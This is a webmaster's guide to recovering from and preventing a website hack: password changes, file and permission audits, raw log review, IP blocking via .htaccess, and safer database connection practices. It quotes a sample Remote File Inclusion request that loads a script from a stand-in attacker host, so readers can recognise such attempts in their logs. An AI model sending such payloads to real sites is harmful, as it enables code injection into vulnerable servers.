|
25 Years of Programming
An open source source for C, C++, OWL, BASIC, MDB, XLS, DOT, and more... |
Home Projects Sitemap Search Blog Forum+Chat About Us Privacy Terms of Use Feedback FAQ Images Services Ads Donate |
|
Apache security:
PHP security:
MySQL:
Linux:
|
Website security: what to do after your site is hacked, and how to prevent it
Related articles that were previously part of this one:
Bookmarks on this page:Step-by-step site repair
There's lots of detail to help you do the procedures easily even if you've never done them before. It may seem daunting at first, but just get focused and dive in. What you learn now will help you manage your site with more confidence in the future. What not to doJust repairing the damaged files and hoping this experience doesn't happen again is not enough. Nobody is ever, ever supposed to be able to add, delete, or change files in your website without your permission. It should never happen, so when it does, it is very important to find out how it happened. A hacked site had something seriously wrong with it, even before the bad guys got in. Ok, let's get started... 1) Log into cPanelThe line at the top, "Last login from:" should always be your IP address from the last time you logged in. If it isn't, write it down. If you don't know your IP address, it currently appears to be 38.103.63.16, but that will be inaccurate if you are viewing a cached copy of this page. A web search on "My IP address" will find sites that can give you a more reliable report. With high-speed internet service, your IP is always the same. If you're on dial-up, it's different each time you log on. If someone was able to log in to your control panel (like you do), they have your userID, password, and the same access to your site that you have. However, before you assume the worst, remember that if your site is at a webhosting company and you submitted a support ticket recently, a service technician might have logged into your account while investigating and preparing a response. 2) Notify your web hosting companyFile a support ticket. If you're on shared hosting, only your webhost can clean up files outside your webspace that might have been affected.
3) Change all passwords: cPanel, publishing, databases, ...Always use strong passwords. If you have been using a single password in multiple locations, take this opportunity to make every password different. This is important. The linked article explains why. a) FrontPage users only: Change your FrontPage password first.If the FrontPage Extensions are installed on the site, change your FP password first:
After changing the FrontPage password... b) Log in to your webhosting account and change the password thereSome webhosts allow password changes in cPanel. Others have a separate login for password changes. Note: if you have scripts that use your cPanel userID and password to open database connections, the password change will break those scripts, and you will start getting connection failure or "Could not connect" errors:
c) Change the passwords you use for database connectionsIf your scripts connect to your databases as a user that is not your cPanel userID, the password change will not break your scripts. However, the hacker could have read the connection data for all your MySQL users from your files, so change all those passwords, too:
d) Change the passwords for all your email accounts
4) If it is a dire emergency, take your website offlineIf extremely offensive material, or viruses, were put on your pages, protect your visitors and your reputation by taking your site offline. If you do this promptly enough, you might avoid getting the "This site may harm your computer" warning in Google search results. 5) Enable log archiving in cPanel
If archiving was already on, the hack might be recorded in your log files. If archiving was off, it's too late, but another attack will probably occur, and that will be logged. 6) Find and repair all the malicious changes that were madeThis describes an ideal cleanup. Fully completing every step might be impossible, but you have to do the most you can. If your site isn't huge, and if you are thoroughly familiar with what is in your public_html folder, you can save time and trouble by deleting everything inside public_html (but don't delete the public_html folder itself) and republishing the entire site from a backup copy. You need to use your judgment whether this method will work for your site without destroying files you don't have copies of. You will still need to inspect your root directory (above public_html) and its other subdirectories for damage. 6a) Get a complete list of all the files in your websiteThere are three methods (Sections 6a, 6b, 6c). For most purposes, this first cron job method will be easier to review in detail than the other two methods. You might not have direct access to Linux on your server to create a directory listing, but you can create a cron job that will do it. It is the equivalent of the MSDOS command dir /s.
The email will contain a file list with lines that look like the following example, which shows one directory and one file: drwxr-x--- 33 user user 4096 Feb 5 20:51
public_html/ A brief explanation:
Walkthrough of the above examples: public_html:
index.htm:
How to use the listing:
6b) Examine your site's files in cPanel > File ManagerIf you can't use the cron job method, this is an alternative, but navigating up and down the directory tree gets tedious. In File Manager, file and folder permissions are shown numerically. R=4, W=2, X=1. The permission level for a user is the sum, so the maximum a user can have is 7. If, for example, the User has RW, but Group and World only have R, then the permissions will be: 4+2=6, 4, 4, or "644". 6c) Examine your site's files using FTPWith an FTP view of your website, the folders and files look like what you are used to in Windows Explorer. FTP view is available using one of the many "FTP client" programs, or Internet Explorer 6 or 7, or Windows Explorer. FTP view is easy to navigate, and it allows sorting on the Date Modified column so you can spot files modified more recently than they should have been, but FTP view doesn't show file and folder permissions (or at least the ones described below don't). With any FTP method, you need the FTP address for your site. It is probably something like: ftp://yourdomain.com/ or ftp://ftp.yourdomain.com/. If in doubt, ask your webhost.
6d) What to look for in the list of files
7) Check all file and folder permissionsUsing the complete file list you made, or File Manager, make sure all file and folder permissions are what they should be. When in doubt, you can compare the permissions of similar or neighboring files and folders. A hacker is unlikely to bother with changing all permissions. Review the brief "RWX" explanation above and apply common sense. Your site visitors are "World", so World needs Read access to files they are supposed to see. World should almost never have Write access to anything. Although different hosts have different configurations, common permissions for world-accessible folders are 755, and common permissions for world-accessible files are 644. It is left to you to figure out why. If you start running across what look like permissions hacks, you will need to study permissions settings more carefully and do a detailed investigation of each file and folder. Some files and folders have unusual permissions settings for valid reasons. A hacker can modify file or folder permissions to allow them to get back in even after you clean up everything else in your site. If they can give themselves Write permission to one folder, they can upload exploit scripts, run them, and reinstall the hack. 8) Change all your passwords againIn case someone was "watching" inside your site while you did it the first time, do it again now that you know the site is clean. 9) Try to identify the IP address that launched the attackIf you can identify their IP address, such as from an obviously unauthorized FTP access, you will be able to search all your logs for all the places where that IP address appears. Stats programs like Analog, Webalizer, or AWStats are not going to be much help because they generate aggregated statistics. You need detail. cPanel > Web/FTP Stats > Latest Visitors is useful and easy. It is a good place to go when you first notice the hack, but it is only a start. You really need the full raw logs. a) If you have never used your site's raw access logs before:You website's raw access logs are stored and sent to you as gzipped files. One program that will easily extract .gz files is 7-Zip. It is a command line utility that you run from a "Command Prompt" (aka "DOS box"). b) Get your logs from cPanel > Raw Log Manager
Go through the logs carefully. If log archiving was on at the time of the hack, look for suspicious activity in the days prior to the hack. Keep watching the logs in case the hackers come back. Your regular log shows HTTP accesses, your normal site visitors. In the log entries, review the field called REMOTE_USER, User, or UserID. This field is blank ("-") most of the time. Where it does have a value, make sure it's your UserID and that the IP address is yours. Mixed in with all the legitimate requests, look for attempts to GET pages that don't exist (result code = 404), especially when the request looks like: GET /filename.php?inc=http://badsite.com/hackscript.txt. These are looking for vulnerable scripts and attempting to inject code into them. They are called Remote File Inclusion (RFI) attacks. They are extremely common, dangerous, and often successful. Look for requests where the action is not GET, but PUT (suspicious) or POST (only suspicious if your pages never use it). Try to correlate entries in your log with other site activity. For example, a hacked file will have a timestamp showing when it was modified. If your HTTP log shows that someone requested one of your .php files moments before the timestamp, that would be suspicious, especially if the GET command included code like the above (...php?inc=). Examine that .php file to see if it has a vulnerability that would have allowed the hack to occur. This is how your logs can help identify how a hacker got in. In the above example, you could also use your browser to download the hackscript.txt file for inspection. If it calls other files from other sites, you can go get those, too. Following the trail and examining the code will reveal what the hack did to your site. Make sure your antivirus software is up-to-date first. Some of these files (PHP scripts) would normally only be hazardous to your server, not your home PC and browser, but others (especially the second-level ones called by the original PHP script) will directly try to infect your PC. Wget is a useful utility for retrieving potentially hazardous files without allowing them to be processed by a browser. Your FTP log shows FTP accesses, one way that hackers can download your pages, modify them, and upload them back to your website. The only IP addresses in the FTP log should be yours and other authorized FTP users. Make sure the timestamps match times you were logged in and doing transfers. To understand the codes used in your FTP log, see I've seen reports of instances where a webhost spotted in an FTP log a transfer from an IP address other than the website owner's and immediately assumed (and informed the owner) that their password had been guessed, cracked, or stolen. Too many of these times, however, the circumstances as reported to me have made the webhost's claim unbelievable. Here is a hypothesis for an alternative explanation... PHP scripts called by RFI attacks sometimes use PHP's FTP functions to download additional hack scripts and related files from a remote server so it can run or install them. The initial RFI includes the remote script into a legitimate script on the victim server, at which point it becomes a part of that script. The script initiates an FTP transfer, which should show in the server's FTP log. The server is not going to show its own IP address in the FTP log, but rather that of the 2nd party to the transfer, the remote website. The log of the session will make it appear as though someone logged in and initiated an FTP session, whereas in fact there was no login, and there didn't have to be one, because the session was initiated on the server itself, from within. Until this is tested, it remains only a hypothesis, but remember it as a possibility if you find IP addresses other than yours in your FTP log or if your webhost tries too quickly, without considering other evidence, to convince you that your password "must have been" cracked. The danger is that you may think all you need to do is change your password. If the real source of the hack was RFI, changing your password won't help.
c) Use .htaccess or cPanel > Deny IP to block the hacker's HTTP access to your siteIf you identified the hacker's IP address, one site where you can look it up to get more information about it is http://whois.domaintools.com/. You can ban the hacker's IP address from your site using your public_html/.htaccess file. Apache documentation for this is at: http://httpd.apache.org/docs/1.3/mod/mod_access.html. Review the instructions in a prior article for how to open .htaccess for editing. As described there, insert the following line in a part of the file that is not enclosed in HTML-like tags. deny from nnn.nnn.nnn.nnn The nnn's are the IP address to block. If the hacker returns with a different IP that is in the same IP range (i.e. using the same ISP), you can block the whole range for a while, although that carries the risk of banning legitimate visitors, too. The Apache documentation has instructions for banning a range. Some IP ranges are easily specified using a simple wildcard notation. Others ranges can only be successfully defined using "CIDR/netmask" notation. Although it looks intimidating, it's easy after the first time you do it. See the separate article describing how to calculate and use the CIDR/netmask. d) If the hacker has obtained access to your cPanel or FTP, banning their IP address in .htaccess will NOT keep them out of cPanel and FTP. If they have scripts that they call by HTTP, it will prevent them from doing that, but only until they log into cPanel and un-ban themselves in .htaccess.
10) Investigate what made the hack possibleIt might be obvious or it might require detective work. The section below on hack prevention describes some common avenues of attack. It is important to identify how they got in so you can prevent the next attack. For example, if they got in through a vulnerable script, and you don't rewrite or update the script, all the work you've done to this point is useless because they can come right back and wreck your site again. Three common avenues:
Regardless of what the specific point of entry was (forum, gallery, blog, etc.), the top suspect should always be a Remote File Inclusion attack that succeeded because of insecure php.ini or .htaccess settings. More than 99% of the attacks on this website are RFI attempts. That does not mean RFI is the only possibility. It is not. But it is the first one to investigate unless you already have good evidence that it was something else. RFI attacks show in your HTTP access logs, and are described throughout this article.
11) Report or go after the hacker legally?You can try, but your chances of getting anywhere with it might not be great. Hacking is a violation of the terms of service for any legitimate web host or ISP. If you can prove that someone is using a particular IP address for hacking, you could report the incident to the web host or ISP in hopes that they might shut the perpetrator down. The contact email is often abuse@ the company. What to do NOW to protect your websiteSteps to prevent hacking1) Always use strong passwords.2) Use a different password for every purpose.3) Don't weaken your server's file and folder permissions.Each file and folder on your server has permissions settings that determine who can read or write that file, execute that program, or enter that folder. Your webhost initially created your webspace with secure permission settings on all files and folders. Do not modify the permissions until you know what you're doing. Don't guess. One mistake can allow anyone in the world to put files on your site. In particular, people having trouble installing web applications are sometimes told, "try setting the permissions to 777". Never do this until you have asked your web host if it is safe on your particular server configuration, and remember that for some web applications, 777 is only used during the installation, and must not be left that way. Also remember to delete the install scripts after use, if the instructions tell you to. There is a brief explanation of permissions settings earlier in this article. 4) Choose third party scripts carefullyDon't load your website down with every cool script, gadget, feature, function, and code snippet you can find on the web. Any one of them could be an avenue of attack. Before you use one, do a web search to discover if it has caused problems for others. 5) Keep third party scripts up to dateIf you use well-maintained third party scripts like Coppermine, WordPress, SMF, phpBB, or others, get on a mailing list, RSS feed, or visit forums where updates are announced. When a security update is released, install it promptly. When a vulnerability is found in a commonly used script, it will be exploited soon by a lot of hackers because it gives them entry to a large number of sites. 6) Write your own scripts securely
A vulnerable script can give hackers access to your user database and to financial or other confidential data.
7) Block suspicious activity with .htaccessRegularly look through your raw access logs. They will probably reveal attacks of the types described in this article. Even if the attempts are unsuccessful, your logs give early warning about what methods hackers are trying to use, which gives you time to figure out how to defend against them. It won't be long before you can tell what is a legitimate request and what is malicious. Here are some examples of how to block suspicious activity:
8) Keep spyware off your computer. Prevent password interception.
Preparations that will make hack diagnosis and cleanup easier1) Turn on log archiving in cPanel Periodically delete the accumulated logs so they don't consume all your hard drive space. 2) Get a list of your site files NOW while they are known-good This will be a baseline list of all the files that are supposed to be in your website. After a hack, it will help you decide whether a file you don't recognize is related to the hack or is a system file that you just never noticed before. 3) Explore your website and become familiar with what is there Not just your pages, but the whole site, using FTP or File Manager or the complete file list you made. Get used to what is normal so things that aren't will catch your attention. 4) Use good database connection practices in scripts: a) Create separate MySQL users for your scripts to use If you use your cPanel userID and password for database connections in your scripts, then changing your cPanel password will instantly break all your scripts until you recode them to use the new password. Instead, create one or more new users, completely unrelated to your cPanel login, that your scripts can use for their database connections:
Now update your scripts so they use the connection data for this new user instead of your old cPanel user. However, ... b) Put your MySQL connection data in a well protected file If each of your scripts has its own code block for database connection, then if you are hacked and have to change your passwords, you'll have to hunt through all your files to find every code block that needs changing. Instead, put all your database connection code in one central location such as an include file that is well-protected from web access, and make all your scripts read it from there. There are examples and some discussion about how to do this in the User Contributed Notes at http://us.php.net/mysql_connect. You can protect your include file by putting it in a folder above public_html, or in any folder that is closed to web access by an .htaccess file, or by the other methods mentioned in the php.net Notes. Unfortunately, none of these protection methods will keep your data safe from a hacker who has actually gotten into your site, but the new database connection method you have just created will make it easier to change your password if that does happen. Other sources of website security information
If you need assistance with anything mentioned here, feel free to ask questions in the discussion forum. I get an email when a new message is posted. If you run across someone else's site that you believe has been hacked, let them know. You are likely to be the only person who bothers to tell them. |
|
|
|
|